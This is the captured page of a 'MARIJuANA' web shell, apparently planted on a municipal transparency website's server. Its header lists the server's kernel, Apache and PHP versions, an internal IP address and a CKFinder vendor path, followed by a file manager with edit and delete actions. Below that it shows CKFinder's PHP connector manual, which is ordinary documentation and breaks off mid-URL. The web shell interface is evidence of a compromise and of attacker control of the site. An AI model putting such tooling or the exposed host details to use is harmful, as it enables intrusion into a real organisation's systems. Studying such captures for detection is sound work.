MARIJuANA
— DIOS — NO — CREA — NADA — EN — VANO —
Linux instance-20230208-1745 6.8.0-1013-oracle #13~22.04.1-Ubuntu SMP Mon Sep 2 13:02:56 UTC 2024 x86_64
  SOFT : Apache/2.4.52 (Ubuntu) PHP : 8.1.2-1ubuntu2.19
/var/www/guajeru/transparencia/assets/ckfinder/core/connector/php/vendor/cksource/ckfinder/dev/doc/manual/
10.0.0.135

 
[ NAME ] [ SIZE ] [ PERM ] [ DATE ] [ ACT ]
+FILE +DIR
ApplicationStructure.md 14.177 KB -rw-r--r-- 2021-07-19 13:02 R E G D
Commands.md 35.862 KB -rw-r--r-- 2021-07-19 13:02 R E G D
Configuration.md 47.602 KB -rw-r--r-- 2021-07-19 13:02 R E G D
Debugging.md 11.685 KB -rw-r--r-- 2021-07-19 13:02 R E G D
HowTo.md 18.977 KB -rw-r--r-- 2021-07-19 13:02 R E G D
Integration.md 4.9 KB -rw-r--r-- 2021-07-19 13:02 R E G D
LaravelPackage.md 0.457 KB -rw-r--r-- 2021-07-19 13:02 R E G D
Plugins.md 7.467 KB -rw-r--r-- 2021-07-19 13:02 R E G D
QuickStart.md 7.133 KB -rw-r--r-- 2021-07-19 13:02 R E G D
SymfonyBundle.md 0.547 KB -rw-r--r-- 2021-07-19 13:02 R E G D
SystemRequirements.md 2.052 KB -rw-r--r-- 2021-07-19 13:02 R E G D
Upgrading.md 13.46 KB -rw-r--r-- 2021-07-19 13:02 R E G D
REQUEST EXIT
# Commands {#commands} \tableofcontents CKFinder commands behave just like controllers. They wrap the logic required to handle a request and produce an appropriate response (in CKFinder usually a JSON). Commands are resolved based on the `command` URL parameter. The heart of each command class is its `execute` method where all the processing occurs. The `execute` method allows for type-hinting based argument injection during its execution. For example, for easy access to the current request object and CKFinder configuration you can define them as the `execute` method arguments as follows: ~~~~~~~~~~~~~ public function execute(Request $request, Config $config) { // ... } ~~~~~~~~~~~~~ The objects that can be injected as the `execute` method arguments are: - [Request](https://api.symfony.com/2.8/Symfony/Component/HttpFoundation/Request.html) - [CKFinder](@ref CKSource::CKFinder::CKFinder) - [EventDispatcher](https://api.symfony.com/2.8/Symfony/Component/EventDispatcher/EventDispatcher.html) - [Config](@ref CKSource::CKFinder::Config) - [Acl](@ref CKSource::CKFinder::Acl::Acl) - [BackendFactory](@ref CKSource::CKFinder::Backend::BackendFactory) - [WorkingFolder](@ref CKSource::CKFinder::Filesystem::Folder::WorkingFolder) # Defining Permissions {#commands_permissions} Executing each of CKFinder commands requires appropriate permissions set in [ACL configuration settings](@ref configuration_options_accessControl). Permissions required by a command are defined inside the command class array attribute named `$requires`: ~~~~~~~~~~~~~ class CreateFolder extends CommandAbstract { protected $requires = array(Permission::FOLDER_CREATE); // ... } ~~~~~~~~~~~~~ All permissions required by a command are checked using [Acl](@ref CKSource::CKFinder::Acl::Acl) during the command object instantiation. See [Permission](@ref CKSource::CKFinder::Acl::Permission) for all available permissions constants. # Handling Errors {#commands_errors} Each of the command responses can optionally contain an error object, in case anything went wrong on the server side: ~~~~~~~~~~~~~ { "error": { "number": 100, "message": "optional" }, // ... } ~~~~~~~~~~~~~ or for commands that can return multiple errors (e.g. @ref command_copyfiles, @ref command_movefiles): ~~~~~~~~~~~~~ { "error": { "number": 301, "errors": [ { "number": 115, // ... } ] }, // ... } ~~~~~~~~~~~~~ # Altering Existing Commands {#commands_altering_existing} All existing CKFinder commands can be altered using the events system (for example to add additional information or to change the default JSON response). Please refer to the @ref events article for more detailed information. In some cases it may be useful to alter the command parameters passed from CKFinder to the server-side connector. For an example how to do that, please check the [AlterCommand](https://github.com/ckfinder/ckfinder-docs-samples/blob/master/AlterCommand/AlterCommand.js) plugin in the [CKFinder 3 Sample JavaScript Plugins](https://github.com/ckfinder/ckfinder-docs-samples) repository. # Creating Custom Commands {#commands_creating_custom} Custom CKFinder commands can be implemented as plugins. You can find the description of a sample plugin in the @ref howto_custom_commands section of the HOWTO. It may also be useful to have a look at the [ImageInfo](https://github.com/ckfinder/ckfinder-docs-samples/blob/master/ImageInfo/ImageInfo.js) plugin in the [CKFinder 3 Sample JavaScript Plugins](https://github.com/ckfinder/ckfinder-docs-samples) repository to check out how to request commands from a JavaScript plugin. You can find more information in the [Sending Command to the Server](https://ckeditor.com/docs/ckfinder/ckfinder3/#!/guide/dev_requests-section-sending-command-to-the-server) section of the [CKFinder 3 JavaScript Documentation](https://ckeditor.com/docs/ckfinder/ckfinder3/). # CSRF Protection {#commands_csrf_protection} \since CKFinder 3.2.0 The CKFinder 3 PHP connector provides a mechanism to secure the application against [Cross-Site Request Forgery (CSRF)](https://www.owasp.org/index.php/Cross-Site_Request_Forgery_%28CSRF%29) attacks (see the @ref configuration_options_csrfProtection configuration option). The default protection method is based on [double submit cookies](https://www.owasp.org/index.php/Cross-Site_Request_Forgery_%28CSRF%29_Prevention_Cheat_Sheet#Double_Submit_Cookie). If the protection is enabled, all requests to commands that modify any kind of resources are checked for a valid CSRF token. The token is a random string value with the length of 32 or more characters which should be generated using a cryptographically secure pseudo-random number generator. When the request is validated, the connector checks for the presence of the same token in the request `POST` parameter, and the request cookie (the expected name for both fields is `ckCsrfToken`). # List of CKFinder Commands {#commands_list} ### Common URL Parameters |Name |Description | |---------------|-----------------------------------| |`command` |The name of the command to execute.| |`type` |The resource type name. | |`currentFolder`|The current working folder path. | ## CopyFiles {#command_copyfiles}
Description Copies files from selected folders.
Method `POST`
Sample request Copy two files from the `sub1` directory of the `Files` resource type to the root (`/`) directory of the `Images` resource type. Example of the `files` parameter structure (JSON notation): ~~~~~~~~~~~~~ request["files"] = [ { "name": "file1.jpg", "type": "Files", "folder": "/sub1/" "options": "" }, { "name": "file2.png", "type": "Files", "folder": "/sub1/" "options": "" } ] ~~~~~~~~~~~~~ ~~~~~~~~~~~~~ /ckfinder/core/connector/php/connector.php?command=CopyFiles&type=Images&curr